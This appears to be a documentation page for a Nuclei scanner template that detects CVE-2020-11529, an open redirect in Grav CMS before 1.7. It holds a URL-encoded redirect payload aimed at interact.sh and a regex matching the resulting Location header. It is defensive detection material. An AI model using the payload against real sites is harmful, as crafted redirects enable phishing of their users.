Skip to content

Grav <1.7 - Open Redirect

ID: CVE-2020-11529

Severity: medium

Author: 0x_Akoko

Tags: cve2020,cve,redirect,grav,getgrav

Grav before 1.7 has an open redirect vulnerability via common/Grav.php. This is partially fixed in 1.6.23 and still present in 1.6.x.

id: CVE-2020-11529
info:
name: Grav <1.7 - Open Redirect
author: 0x_Akoko
severity: medium
description: Grav before 1.7 has an open redirect vulnerability via common/Grav.php. This is partially fixed in 1.6.23 and still present in 1.6.x.
impact: |
An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.
remediation: |
Upgrade Grav CMS to version 1.7 or later to fix the open redirect vulnerability.
reference:
- https://github.com/getgrav/grav/issues/3134
- https://nvd.nist.gov/vuln/detail/CVE-2020-11529
- https://github.com/getgrav/grav/commit/2eae104c7a4bf32bc26cb8073d5c40464bfda3f7
- https://getgrav.org/#changelog
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-11529
cwe-id: CWE-601
epss-score: 0.00417
epss-percentile: 0.7148
cpe: cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: getgrav
product: grav
tags: cve2020,cve,redirect,grav,getgrav
http:
- method: GET
path:
- '{{BaseURL}}/%252f%255cinteract.sh%252fa%253fb/'
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 4a0a00473045022100c91529c4531d18387e4f270c52d0f553767e9a76a3dc40ae5f38aa9884072f6b022077648423b586c6da5f2a2ae9f0fcd39110e08398422bc3dd50104420fe7ccbf6:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-11529.yaml"

View on Github